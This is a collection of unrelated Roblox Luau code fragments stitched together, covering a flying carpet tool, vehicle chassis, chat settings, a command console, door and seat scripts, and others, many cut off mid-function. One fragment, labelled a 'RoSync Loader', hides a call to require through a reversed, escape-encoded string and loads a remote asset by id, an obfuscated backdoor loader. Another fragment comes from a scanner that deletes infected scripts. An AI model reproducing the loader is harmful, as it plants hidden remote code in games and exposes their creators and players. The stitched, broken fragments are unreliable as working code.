ColorMesh.MeshId = (BaseUrl .. "9856898") ColorMesh.TextureId = (BaseUrl .. "1361097") ColorMesh.Scale = (ColorPart.Size * 2) --Default mesh scale is 1/2 the size of a 1x1x1 brick. ColorMesh.Offset = Vector3.new(0, 0, 0) ColorMesh.VertexColor = Vector3.new(1, 1, 1) ColorMesh.Parent = ColorPart ColorLight = Instance.new("PointLight") ColorLight.Name = "Light" ColorLight.Brightness = 50 ColorLight.Range = 8 ColorLight.Shadows = false ColorLight.Enabled = true ColorLight.Parent = ColorPart RainbowColors = { Vector3.new(1, 0, 0), Vector3.new(1, 0.5, 0), Vector3.new(1, 1, 0), Vector3.new(0, 1, 0), Vector3.new(0, 1, 1), Vector3.new(0, 0, 1), Vector3.new(0.5, 0, 1) } Animations = { Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, } Grips = { Normal = CFrame.new(-1.5, 0, 0, 0, 0, -1, -1, 8.90154915e-005, 0, 8.90154915e-005, 1, 0), Flying = CFrame.new(-1.5, 0.5, -0.75, -1, 0, -8.99756625e-009, -8.99756625e-009, 8.10000031e-008, 1, 7.28802977e-016, 0.99999994, -8.10000103e-008) } Flying = false ToolEquipped = false ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction")) ServerControl.Name = "ServerControl" ServerControl.Parent = Tool ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Tool Handle.Transparency = 0 Tool.Grip = Grips.Normal Tool.Enabled = true function Clamp(Number, Min, Max) return math.max(math.min(Max, Number), Min) end function TransformModel(Objects, Center, NewCFrame, Recurse) local Objects = ((type(Objects) ~= "table" and {Objects}) or Objects) for i, v in pairs(Objects) do if v:IsA("BasePart") then v.CFrame = NewCFrame:toWorldSpace(Center:toObjectSpace(v.CFrame)) end if Recurse then TransformModel(v:GetChildren(), Center, NewCFrame, true) end end end function Weld(Parent, PrimaryPart) local Parts = {} local Welds = {} local function WeldModel(Parent, PrimaryPart) for i, v in pairs(Parent:GetChildren()) do if v:IsA("BasePart") then if v ~= PrimaryPart then local Weld = Instance.new("Weld") Weld.Name = "Weld" Weld.Part0 = PrimaryPart Weld.Part1 = v Weld.C0 = PrimaryPart.CFrame:inverse() Weld.C1 = v.CFrame:inverse() Weld.Parent = PrimaryPart table.insert(Welds, Weld) end table.insert(Parts, v) end WeldModel(v, PrimaryPart) end end WeldModel(Parent, PrimaryPart) return Parts, Welds end function CleanUp() for i, v in pairs(Tool:GetChildren()) do if v:IsA("BasePart") and v ~= Handle then v:Destroy() end end end function CreateRainbow(Length) local RainbowModel = Instance.new("Model") RainbowModel.Name = "RainbowPart" for i, v in pairs(RainbowColors) do local Part = ColorPart:Clone() Part.Name = "Part" Part.Size = Vector3.new(0.5, 0.5, Length) Part.CFrame = Part.CFrame * CFrame.new((Part.Size.X * (i - 1)), 0, 0) Part.Mesh.Scale = (Part.Size * 2) Part.Mesh.VertexColor = v Part.Light.Color = Color3.new(v.X, v.Y, v.Z) Part.Parent = RainbowModel end local RainbowBoundingBox = BasePart:Clone() RainbowBoundingBox.Name = "BoundingBox" RainbowBoundingBox.Transparency = 1 RainbowBoundingBox.Size = RainbowModel:GetModelSize() RainbowBoundingBox.Anchored = true RainbowBoundingBox.CanCollide = false RainbowBoundingBox.CFrame = RainbowModel:GetModelCFrame() RainbowBoundingBox.Parent = RainbowModel return RainbowModel end function GetRainbowModel() local ModelName = (Player.Name .. "'s Rainbow") local Model = game:GetService("Workspace"):FindFirstChild(ModelName) if not Model then Model = Instance.new("Model") Model.Name = ModelName local RemovalMonitorClone = RemovalMonitor:Clone() RemovalMonitorClone.Disabled = false RemovalMonitorClone.Parent = Model end return Model end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Activated() if not Tool.Enabled then return end Tool.Enabled = false Flying = not Flying if Flying then Handle.Transparency = 1 CleanUp() local CarpetParts = {} for i, v in pairs(CarpetPieces) do local CarpetPart = BasePart:Clone() CarpetPart.CanCollide = false CarpetPart.Size = Vector3.new(CarpetSize.X, CarpetSize.Y, (CarpetSize.Z / #CarpetPieces)) local Mesh = Instance.new("SpecialMesh") Mesh.MeshType = Enum.MeshType.FileMesh Mesh.MeshId = (BaseUrl .. v.MeshId) Mesh.TextureId = (BaseUrl .. "223080038") Mesh.Scale = Vector3.new(1.125, 1.125, 1.125) Mesh.VertexColor = Vector3.new(1, 1, 1) Mesh.Offset = Vector3.new(0, 0, 0) Mesh.Parent = CarpetPart local Weld = Instance.new("Weld") Weld.Part0 = Handle Weld.Part1 = CarpetPart local XOffset = (((i == 1 or i == #CarpetPieces) and -0.005) or 0) local YOffset = ((-((Handle.Size.Z / 2) - (CarpetPart.Size.Z / 2))) + ((CarpetPart.Size.Z * (i - 1))) + ((i == 2 and 0.245) or (i == 3 and 0.04) or (i == #CarpetPieces and 0.28) or 0)) Weld.C1 = CFrame.new(0, XOffset, YOffset) Weld.Parent = CarpetPart table.insert(CarpetParts, {Part = CarpetPart, Weld = Weld, InitialCFrame = Weld.C0, Angle = v.Angle}) CarpetPart.Parent = Tool end spawn(function() InvokeClient("PlayAnimation", Animations.Sit) Tool.Grip = Grips.Flying end) Torso.Anchored = true delay(.2,function() Torso.Anchored = false Torso.Velocity = Vector3.new(0,0,0) Torso.RotVelocity = Vector3.new(0,0,0) end) FlightSpin = Instance.new("BodyGyro") FlightSpin.Name = "FlightSpin" FlightSpin.P = 10000 FlightSpin.maxTorque = Vector3.new(FlightSpin.P, FlightSpin.P, FlightSpin.P)*100 FlightSpin.cframe = Torso.CFrame FlightPower = Instance.new("BodyVelocity") FlightPower.Name = "FlightPower" FlightPower.velocity = Vector3.new(0, 0, 0) FlightPower.maxForce = Vector3.new(0, 0, 0) --Vector3.new(1,1,1)*1000000 FlightPower.P = 1000 FlightHold = Instance.new("BodyPosition") FlightHold.Name = "FlightHold" FlightHold.P = 100000 FlightHold.maxForce = Vector3.new(0, 0, 0) FlightHold.position = Torso.Position FlightSpin.Parent = Torso FlightPower.Parent = Torso FlightHold.Parent = Torso spawn(function() local LastPlace = nil while Flying and ToolEquipped and CheckIfAlive() do local CurrentPlace = Handle.Position local Velocity = Torso.Velocity Velocity = Vector3.new(Velocity.X, 0, Velocity.Z).magnitude if LastPlace and Velocity > 10 then spawn(function() local Model = GetRainbowModel() local Distance = (LastPlace - CurrentPlace).magnitude local Length = Distance + 3.5 local RainbowModel = CreateRainbow(Length) --Thanks so much to ArceusInator for helping solve this part! local RainbowCFrame = CFrame.new((LastPlace + (CurrentPlace - LastPlace).unit * (Distance / 2)), CurrentPlace) TransformModel(RainbowModel, RainbowModel:GetModelCFrame(), RainbowCFrame, true) Debris:AddItem(RainbowModel, 1) RainbowModel.Parent = Model if Model and not Model.Parent then Model.Parent = game:GetService("Workspace") end LastPlace = CurrentPlace end) elseif not LastPlace then LastPlace = CurrentPlace end wait(Rate) end end) elseif not Flying then Torso.Velocity = Vector3.new(0, 0, 0) Torso.RotVelocity = Vector3.new(0, 0, 0) for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do if v and v.Parent then v:Destroy() end end spawn(function() Tool.Grip = Grips.Normal InvokeClient("StopAnimation", Animations.Sit) end) end wait(2) Tool.Enabled = true end function Equipped(Mouse) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("HumanoidRootPart") Player = Players:GetPlayerFromCharacter(Character) if not CheckIfAlive() then return end if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R15 then Animations = { Sit = {Animation = Tool:WaitForChild("SitR15"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, } else Animations = { Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, } end end Tool.Grip = Grips.Normal ToolEquipped = true end function Unequipped() Flying = false for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do if v and v.Parent then v:Destroy() end end CleanUp() Handle.Transparency = 0 ToolEquipped = false end function OnServerInvoke(player, mode, value) if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then return end end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end CleanUp() ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
-- @specs https://material.io/guidelines/motion/duration-easing.html#duration-easing-natural-easing-curves
local Sharp = Bezier(0.4, 0, 0.6, 1) local Standard = Bezier(0.4, 0, 0.2, 1) -- used for moving. local Acceleration = Bezier(0.4, 0, 1, 1) -- used for exiting. local Deceleration = Bezier(0, 0, 0.2, 1) -- used for entering.
----[[ Color Settings ]]
module.BackGroundColor = Color3.fromRGB(72, 0, 32) module.DefaultMessageColor = Color3.new(1, 1, 1) module.DefaultNameColor = Color3.new(1, 1, 1) module.ChatBarBackGroundColor = Color3.fromRGB(72, 0, 32) module.ChatBarBoxColor = Color3.new(1, 1, 1) module.ChatBarTextColor = Color3.fromRGB(97, 19, 37) module.ChannelsTabUnselectedColor = Color3.new(0, 0, 0) module.ChannelsTabSelectedColor = Color3.new(30/255, 30/255, 30/255) module.DefaultChannelNameColor = Color3.fromRGB(35, 76, 142) module.WhisperChannelNameColor = Color3.fromRGB(102, 14, 102) module.ErrorMessageTextColor = Color3.fromRGB(245, 50, 50)
--[[ Evercyan @ March 2023 AI This script handles the physical behavior of mobs, notably Following and Jumping. Mobs automatically follow any player within range, but once attacked, they will no longer follow the closest player within range for the follow session, and will instead start attacking the player which recently attacked it. ]]
-- Load and configure the animations
local attackIdleAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackIdleAnimation) attackIdleAnimation.Looped = true attackIdleAnimation.Priority = Enum.AnimationPriority.Action maid.attackIdleAnimation = attackIdleAnimation local attackAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackAnimation) attackAnimation.Looped = false attackAnimation.Priority = Enum.AnimationPriority.Action maid.attackAnimation = attackAnimation local reloadAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.ReloadAnimation) reloadAnimation.Looped = false reloadAnimation.Priority = Enum.AnimationPriority.Action maid.reloadAnimation = reloadAnimation
--[=[ Returns a function that can be used to load modules relative to the script specified. ```lua local require = require(script.Parent.loader).load(script) local maid = require("Maid") ``` @function load @param script Script -- The script to load dependencies for. @return (moduleReference: ModuleReference) -> any @within Loader ]=]
local function handleLoad(moduleScript) assert(typeof(moduleScript) == "Instance", "Bad moduleScript") return loader:GetLoader(moduleScript) end return setmetatable({ load = handleLoad; bootstrapGame = bootstrapGame; bootstrapPlugin = bootstrapPlugin; }, metatable)
--------------------[ KEYBOARD FUNCTIONS ]--------------------------------------------
function KeyPress(key) if key then if Active then key = string.lower(key) if key == "c" then if Stance == 2 then print("Crouch") Crouch() end else if key == "x" then if Stance == 1 then print("Stand") Stand() end end end end end end script.Parent.Equipped:connect(function() Active = true mouse.KeyDown:connect(KeyPress) end) script.Parent.Unequipped:connect(function() Active = false Stand() end)
-- print("Malicious script "..i.Name.." detected in "..getAncestry(i).." ("..i.className..")") --"Infected" scripts. Do I need to say more?
i:Remove() return end end if i.Parent ~= nil and w == false then
--Set target steering position based on current velocity
function Chassis.UpdateSteering(steer, currentVel) local baseSteer = steer local targetSteer = 0 local vehicleSeat = Chassis.GetDriverSeat() local maxSpeed = VehicleParameters.MaxSpeed local maxSteer = VehicleParameters.MaxSteer local currentVelocity = vehicleSeat.Velocity if LimitSteerAtHighVel then local c = SteerLimit * (math.abs(currentVel)/VehicleParameters.MaxSpeed) + 1 --decrease steer value as speed increases to prevent tipping (handbrake cancels this) steer = steer/c end SteeringPrismatic.TargetPosition = steer * steer * steer * maxSteer end function Chassis.UpdateThrottle(currentSpeed, throttle) local targetVel = 0 local effectsThrottleState = false local gainModifier = 0 if math.abs(throttle) < 0.1 then -- Idling setMotorMaxAcceleration(math.huge) setMotorTorque(2000) elseif math.sign(throttle * currentSpeed) > 0 or math.abs(currentSpeed) < 0.5 then setMotorMaxAcceleration(math.huge) local velocity = Chassis.driverSeat.Velocity local velocityVector = velocity.Unit local directionalVector = Chassis.driverSeat.CFrame.lookVector local dotProd = velocityVector:Dot(directionalVector) -- Dot product is a measure of how similar two vectors are; if they're facing the same direction, it is 1, if they are facing opposite directions, it is -1, if perpendicular, it is 0 setMotorTorqueDamped(ActualDrivingTorque * throttle * throttle, dotProd, math.sign(throttle)) -- Arbitrary large number local movingBackwards = dotProd < 0 local acceleratingBackwards = throttle < 0 local useReverse = (movingBackwards and acceleratingBackwards) local maxSpeed = (useReverse and VehicleParameters.ReverseSpeed or VehicleParameters.MaxSpeed) targetVel = math.sign(throttle) * maxSpeed -- if we are approaching max speed, we should take that as an indication of throttling down, even if not from input local maxAccelSpeed = targetVel local speedPercent = ((maxAccelSpeed-currentSpeed)/maxAccelSpeed) -- 0 if max speed, 1 if stopped -- lets say we start throttling down after reaching 75% of max speed, then linearly drop to 0 local function quad(x) return math.sign(x)*(x^2) end local r = math.abs(velocity.Magnitude / maxSpeed*2.5) -- adding a bit to the max speed so that it sounds better (always trying to rev engines) local desiredRPM = math.exp(-3*r*r) gainModifier = desiredRPM if gainModifier > 0 then effectsThrottleState = true end else -- Braking setMotorMaxAcceleration(100) setMotorTorque(ActualBrakingTorque * throttle * throttle) targetVel = math.sign(throttle) * 500 end Chassis.SetMotorVelocity(targetVel) end local redressingState = false local targetAttachment function Chassis.Redress() if redressingState then return end redressingState = true local p = Chassis.driverSeat.CFrame.Position + Vector3.new( 0,10,0 ) local xc = Chassis.driverSeat.CFrame.RightVector xc = Vector3.new(xc.x,0,xc.z) xc = xc.Unit local yc = Vector3.new(0,1,0) if not targetAttachment then targetAttachment = RedressMount.RedressTarget end targetAttachment.Parent = Workspace.Terrain targetAttachment.Position = p targetAttachment.Axis = xc targetAttachment.SecondaryAxis = yc RedressMount.RedressOrientation.Enabled = true RedressMount.RedressPosition.Enabled = true wait(1.5) RedressMount.RedressOrientation.Enabled = false RedressMount.RedressPosition.Enabled = false targetAttachment.Parent = RedressMount wait(2) redressingState = false end function Chassis.Reset() --Reset user inputs and redress (For when a player exits the vehicle) Chassis.UpdateThrottle(1, 1) --Values must be changed to replicate to client. Chassis.UpdateSteering(1, 0) --i.e. setting vel to 0 when it is 0 wont update to clients Chassis.EnableHandbrake() setMotorTorque(ActualBrakingTorque) Chassis.SetMotorVelocity(0) Chassis.UpdateSteering(0, 0) RedressMount.RedressOrientation.Enabled = true RedressMount.RedressPosition.Enabled = true RedressMount.RedressOrientation.Enabled = false RedressMount.RedressPosition.Enabled = false redressingState = false end return Chassis
-- Instances have a "Name" field. Sort -- by that name,
function CommonUtil.SortByName(items) function compareInstanceNames(i1, i2) return (i1.Name < i2.Name) end table.sort(items, compareInstanceNames) return items end return CommonUtil
--[=[ Returns a list of all of the values that a table has. @param source table -- Table source to extract values from @return table -- A list with all the values the table has ]=]
function Table.values(source) local new = {} for _, val in pairs(source) do table.insert(new, val) end return new end
--// Folder Wrap
Folder = service_Wrap(Folder, true)
--PlayerClick
ClickDetector.MouseClick:Connect(function() if Ready == true then if Open == false then Ready = false Open = true Handle.TargetAngle = 90 OpenSound:Play() OpenTween:Play() wait(.5) Ready = true elseif Open == true then Ready = false Open = false Handle.TargetAngle = 0 CloseSound:Play() CloseTween:Play() wait(.5) Ready = true end end end)
-- This is the attack surface. It's imperitative that it is minimized as much as possible.
-- Punch action
function Actions.Punch(player, actionLength) local hit = getHit(player) if hit then handleHit(hit, player) end --end --function self._action() -- self._destroy() --end -- Invoke action --self._action() end
--------| Reference |--------
local isServer = _L.RunService:IsServer() local events = {} local funcs = {}
-- Create the level loader
local function loadLevel(level) -- Clear the current level for _, enemy in pairs(gameState.enemies) do enemy:Destroy() end -- Create the new level local levelData = ReplicatedStorage.Levels[level] for _, enemyData in pairs(levelData.Enemies) do local enemy = game.ServerStorage.Enemies[enemyData.Name]:Clone() enemy.Parent = workspace gameState.enemies[#gameState.enemies + 1] = enemy end -- Set the new level gameState.level = level end
--!strict
local Humanoid:Humanoid = script.Parent:WaitForChild("Humanoid") Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false) Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming, false)
--[[ Fullscreen Module API fullscreenModule.FocusScreen(screenPart, manageLockingCharacterControl) fullscreenModule.CreateButtonToFocusScreen(screenPart) fullscreenModule.RemoveButton() fullscreenModule.FocusedScreen = readonly Instance or nil ]]
--Don't modify this script unless you really know what you're doing.
local WaitFor = (function(parent, child_name) local found = parent:FindFirstChild(child_name) while found == nil do parent.ChildAdded:wait() found = parent:FindFirstChild(child_name) if found then break end end return found end) local last = { neckC1 = nil, rshoC0 = nil, lshoC0 = nil, rhipC0 = nil, lhipC0 = nil } local ApplyModifications = (function(weld, char) local torso = WaitFor(char, "Torso") local neck = WaitFor(torso, "Neck") local rsho = WaitFor(torso, "Right Shoulder") local lsho = WaitFor(torso, "Left Shoulder") local rhip = WaitFor(torso, "Right Hip") local lhip = WaitFor(torso, "Left Hip") local config = script.Parent.Configuration local head_ang = config["Head Angle"].Value local legs_ang = config["Legs Angle"].Value local arms_ang = config["Arms Angle"].Value local sit_ang = config["Sitting Angle"].Value local sit_pos = config["Sitting Position"].Value --First adjust sitting position and angle --Add 90 to the angle because that's what most people will be expecting. --weld.C1 = weld.C1 * CFrame.fromEulerAnglesXYZ(math.rad((sit_ang) + 90), 0, 0) --weld.C0 = CFrame.new(sit_pos) weld.C0 = weld.C0 * CFrame.new(0, 1, 0) last.neckC1 = neck.C1 last.rshoC0 = rsho.C0 last.lshoC0 = lsho.C0 last.rhipC0 = rhip.C0 last.lhipC0 = lhip.C0 --Now adjust the neck angle. neck.C1 = neck.C1 * CFrame.fromEulerAnglesXYZ(math.rad(head_ang), 0, 0) --Now adjust the arms angle. rsho.C0 = rsho.C0 * CFrame.fromEulerAnglesXYZ(0, 0, 0) lsho.C0 = lsho.C0 * CFrame.fromEulerAnglesXYZ(0,math.rad(arms_ang), 0.3) lsho.C0 = lsho.C0 * CFrame.new(-1,0, -0.5) --Now the legs rhip.C0 = rhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(legs_ang)) lhip.C0 = lhip.C0 * CFrame.fromEulerAnglesXYZ(0, 0, math.rad(-legs_ang)) end) local RevertModifications = (function(weld, char) --Any modifications done in ApplyModifications have to be reverted here if they --change any welds - otherwise people will wonder why their head is pointing the wrong way. local torso = WaitFor(char, "Torso") local neck = WaitFor(torso, "Neck") local rsho = WaitFor(torso, "Right Shoulder") local lsho = WaitFor(torso, "Left Shoulder") local rhip = WaitFor(torso, "Right Hip") local lhip = WaitFor(torso, "Left Hip") --Now adjust the neck angle. neck.C1 = last.neckC1 or CFrame.new() rsho.C0 = last.rshoC0 or CFrame.new() lsho.C0 = last.lshoC0 or CFrame.new() rhip.C0 = last.rhipC0 or CFrame.new() lhip.C0 = last.lhipC0 or CFrame.new() weld:Destroy() end) script.Parent.ChildAdded:connect(function(c) if c:IsA("Weld") then local character = nil if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then character = c.Part1.Parent else return end ApplyModifications(c, character) end end) script.Parent.ChildRemoved:connect(function(c) if c:IsA("Weld") then local character = nil if c.Part1 ~= nil and c.Part1.Parent ~= nil and c.Part1.Parent:FindFirstChild("Humanoid") ~= nil then character = c.Part1.Parent else return end RevertModifications(c, character) end end)
-- Here be dragons
local Players = game:GetService("Players") local Player = Players.LocalPlayer return function (Cmdr) local Util = Cmdr.Util local Window = require(script:WaitForChild("Window")) Window.Cmdr = Cmdr local AutoComplete = require(script:WaitForChild("AutoComplete"))(Cmdr) Window.AutoComplete = AutoComplete -- Sets the Window.ProcessEntry callback so that we can dispatch our commands out function Window.ProcessEntry(text) text = Util.TrimString(text) if #text == 0 then return end Window:AddLine(Window:GetLabel() .. " " .. text, Color3.fromRGB(255, 223, 93)) Window:AddLine(Cmdr.Dispatcher:EvaluateAndRun(text, Player, { IsHuman = true })) end -- Sets the Window.OnTextChanged callback so we can update the auto complete function Window.OnTextChanged (text) local command = Cmdr.Dispatcher:Evaluate(text, Player, true) local arguments = Util.SplitString(text) local commandText = table.remove(arguments, 1) local atEnd = false if command then arguments = Util.MashExcessArguments(arguments, #command.Object.Args) atEnd = #arguments == #command.Object.Args end local entryComplete = commandText and #arguments > 0 if text:sub(#text, #text):match("%s") and not atEnd then entryComplete = true arguments[#arguments + 1] = "" end if command and entryComplete then local commandValid, errorText = command:Validate() Window:SetIsValidInput(commandValid, ("Validation errors: %s"):format(errorText or "")) local acItems = {} local lastArgument = command:GetArgument(#arguments) if lastArgument then local typedText = lastArgument.TextSegmentInProgress local isPartial = false if lastArgument.RawSegmentsAreAutocomplete then for i, segment in ipairs(lastArgument.RawSegments) do acItems[i] = {segment, segment} end else local items, options = lastArgument:GetAutocomplete() options = options or {} isPartial = options.IsPartial or false for i, item in pairs(items) do acItems[i] = {typedText, item} end end local valid = true if #typedText > 0 then valid, errorText = lastArgument:Validate() end if not atEnd and valid then Window:HideInvalidState() end return AutoComplete:Show(acItems, { at = atEnd and #text - #typedText + (text:sub(#text, #text):match("%s") and -1 or 0); prefix = #lastArgument.RawSegments == 1 and lastArgument.Prefix or ""; isLast = #command.Arguments == #command.ArgumentDefinitions and #typedText > 0; numArgs = #arguments; command = command; arg = lastArgument; name = lastArgument.Name .. (lastArgument.Required and "" or "?"); type = lastArgument.Type.DisplayName; description = (valid == false and errorText) or lastArgument.Object.Description; invalid = not valid; isPartial = isPartial; }) end elseif commandText and #arguments == 0 then Window:SetIsValidInput(true) local exactCommand = Cmdr.Registry:GetCommand(commandText) local exactMatch if exactCommand then exactMatch = {exactCommand.Name, exactCommand.Name, options = { name = exactCommand.Name; description = exactCommand.Description; }} local arg = exactCommand.Args and exactCommand.Args[1] if type(arg) == "function" then arg = arg(command) end if arg and (not arg.Optional and arg.Default == nil) then Window:SetIsValidInput(false, "This command has required arguments.") Window:HideInvalidState() end else Window:SetIsValidInput(false, ("%q is not a valid command name. Use the help command to see all available commands."):format(commandText)) end local acItems = {exactMatch} for _, cmd in pairs(Cmdr.Registry:GetCommandNames()) do if commandText:lower() == cmd:lower():sub(1, #commandText) and (exactMatch == nil or exactMatch[1] ~= commandText) then local commandObject = Cmdr.Registry:GetCommand(cmd) acItems[#acItems + 1] = {commandText, cmd, options = { name = commandObject.Name; description = commandObject.Description; }} end end return AutoComplete:Show(acItems) end Window:SetIsValidInput(false, "Use the help command to see all available commands.") AutoComplete:Hide() end Window:UpdateLabel() Window:UpdateWindowHeight() return { Window = Window; AutoComplete = AutoComplete; } end
-- ROBLOX deviation: omitted type imports from types file and defined MatcherState as any for now
type MatcherHintOptions = JestMatcherUtils.MatcherHintOptions type MatcherState = any type SyncExpectationResult = (any, any, any) -> { pass: boolean, message: () -> string, } local jasmineUtils = require(CurrentModule.jasmineUtils) local equals = jasmineUtils.equals local utils = require(CurrentModule.utils) local iterableEquality = utils.iterableEquality local isExpand, printExpectedArgs, printReceivedArgs, printCommon, isEqualValue, isEqualCall, isEqualReturn, countReturns, printNumberOfReturns, getRightAlignedPrinter, printReceivedCallsNegative, printExpectedReceivedCallsPositive, printDiffCall, isLineDiffableCall, isLineDiffableArg, printResult, printReceivedResults, isMock, isSpy, ensureMockOrSpy, ensureMock
-- DO NOT EDIT UNLESS YOU KNOW WHAT YOU ARE DOING!!! --
function onClicked() script.Parent.Parent.D.D1.Transparency = 0 script.Parent.Parent.D.D2.Transparency = 0 script.Parent.Parent.D.D3.Transparency = 0.7 script.Parent.Parent.D.D4.Transparency = 0.7 script.Parent.Parent.D.D1.CanCollide = true script.Parent.Parent.D.D2.CanCollide = true script.Parent.Parent.D.D3.CanCollide = true script.Parent.Parent.D.D4.CanCollide = true script.Parent.Parent.E.D1.Transparency = 1 script.Parent.Parent.E.D2.Transparency = 1 script.Parent.Parent.E.D3.Transparency = 1 script.Parent.Parent.E.D4.Transparency = 1 script.Parent.Parent.E.D1.CanCollide = false script.Parent.Parent.E.D2.CanCollide = false script.Parent.Parent.E.D3.CanCollide = false script.Parent.Parent.E.D4.CanCollide = false wait(0.1) script.Parent.Parent.C.D1.Transparency = 0 script.Parent.Parent.C.D2.Transparency = 0 script.Parent.Parent.C.D3.Transparency = 0.7 script.Parent.Parent.C.D4.Transparency = 0.7 script.Parent.Parent.C.D1.CanCollide = true script.Parent.Parent.C.D2.CanCollide = true script.Parent.Parent.C.D3.CanCollide = true script.Parent.Parent.C.D4.CanCollide = true script.Parent.Parent.D.D1.Transparency = 1 script.Parent.Parent.D.D2.Transparency = 1 script.Parent.Parent.D.D3.Transparency = 1 script.Parent.Parent.D.D4.Transparency = 1 script.Parent.Parent.D.D1.CanCollide = false script.Parent.Parent.D.D2.CanCollide = false script.Parent.Parent.D.D3.CanCollide = false script.Parent.Parent.D.D4.CanCollide = false wait(0.1) script.Parent.Parent.B.D1.Transparency = 0 script.Parent.Parent.B.D2.Transparency = 0 script.Parent.Parent.B.D3.Transparency = 0.7 script.Parent.Parent.B.D4.Transparency = 0.7 script.Parent.Parent.B.D1.CanCollide = true script.Parent.Parent.B.D2.CanCollide = true script.Parent.Parent.B.D3.CanCollide = true script.Parent.Parent.B.D4.CanCollide = true script.Parent.Parent.C.D1.Transparency = 1 script.Parent.Parent.C.D2.Transparency = 1 script.Parent.Parent.C.D3.Transparency = 1 script.Parent.Parent.C.D4.Transparency = 1 script.Parent.Parent.C.D1.CanCollide = false script.Parent.Parent.C.D2.CanCollide = false script.Parent.Parent.C.D3.CanCollide = false script.Parent.Parent.C.D4.CanCollide = false wait(0.1) script.Parent.Parent.A.D1.Transparency = 0 script.Parent.Parent.A.D2.Transparency = 0 script.Parent.Parent.A.D3.Transparency = 0.7 script.Parent.Parent.A.D4.Transparency = 0.7 script.Parent.Parent.A.D1.CanCollide = true script.Parent.Parent.A.D2.CanCollide = true script.Parent.Parent.A.D3.CanCollide = true script.Parent.Parent.A.D4.CanCollide = true script.Parent.Parent.B.D1.Transparency = 1 script.Parent.Parent.B.D2.Transparency = 1 script.Parent.Parent.B.D3.Transparency = 1 script.Parent.Parent.B.D4.Transparency = 1 script.Parent.Parent.B.D1.CanCollide = false script.Parent.Parent.B.D2.CanCollide = false script.Parent.Parent.B.D3.CanCollide = false script.Parent.Parent.B.D4.CanCollide = false wait(0.1) end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[ Last synced 11/13/2020 10:33 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
-- Decompiled with the Synapse X Luau decompiler.
game:GetService("TweenService"):Create(script.Parent, TweenInfo.new(5, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, -1, false, 0), { Rotation = 360 }):Play();
-- These functions handle making bots jump out of bus at various times
function DeliveryVehicle:getSkydiveDistances(numBots) local skydiveTimes = {} for _ = 1, math.ceil(0.3 * numBots) do table.insert(skydiveTimes, self.randomGenerator:NextNumber(self.travelBeforeActive, self.travelBeforeActive + 200)) end for _ = 1, math.ceil(0.25 * numBots) do table.insert(skydiveTimes, self.randomGenerator:NextNumber(self.travelBeforeActive + 200, self.travelDistance * (2 / 7))) end for _ = 1, math.ceil(0.2 * numBots) do table.insert(skydiveTimes, self.randomGenerator:NextNumber(self.travelDistance * (2 / 7), self.travelDistance * (1 / 2))) end for _ = 1, math.ceil(0.15 * numBots) do table.insert(skydiveTimes,self.randomGenerator:NextNumber(self.travelDistance * (1 / 2), self.travelUntilInactive)) end for _ = 1, math.ceil(0.1 * numBots) do table.insert(skydiveTimes, 100000) end table.sort(skydiveTimes) return skydiveTimes end function DeliveryVehicle:spawnSpecificPlayer(player) if not self.playersJumped[player] and tostring(PlayerMatchInfo.GetField(player, "teamNumber")) == string.sub(self.currentModel.Name, 16) then self.playersJumped[player] = true self:spawnPlayerFromVehicle(player) EventData:FireClient(player, "ExitedDeliveryVehicle") end end function DeliveryVehicle:manageSkydivingForBots() coroutine.wrap(function() local botsInGame = {} for _, player in pairs(Players:GetPlayers()) do if Util.playerIsBot(player) then table.insert(botsInGame, player) end end local skydiveDistances = self:getSkydiveDistances(#botsInGame) local curID = 1 while curID <= #botsInGame and self:getCurrentPos() < self.travelUntilInactive do -- stop trying to skydive players when skydiving period ends if skydiveDistances[curID] <= self:getCurrentPos() then self:spawnSpecificPlayer(botsInGame[curID]) curID = curID + 1 else wait() end end end)() end return DeliveryVehicle
--======================================-- --===============Weld Part0(WP0)==============-- --======================================--
w1.Part0 = w1.Parent w2.Part0 = w2.Parent w3.Part0 = w3.Parent w4.Part0 = w4.Parent w5.Part0 = w5.Parent w6.Part0 = w6.Parent w7.Part0 = w7.Parent w8.Part0 = w8.Parent w9.Part0 = w9.Parent w10.Part0 = w10.Parent w11.Part0 = w11.Parent w12.Part0 = w12.Parent
---Controls UI
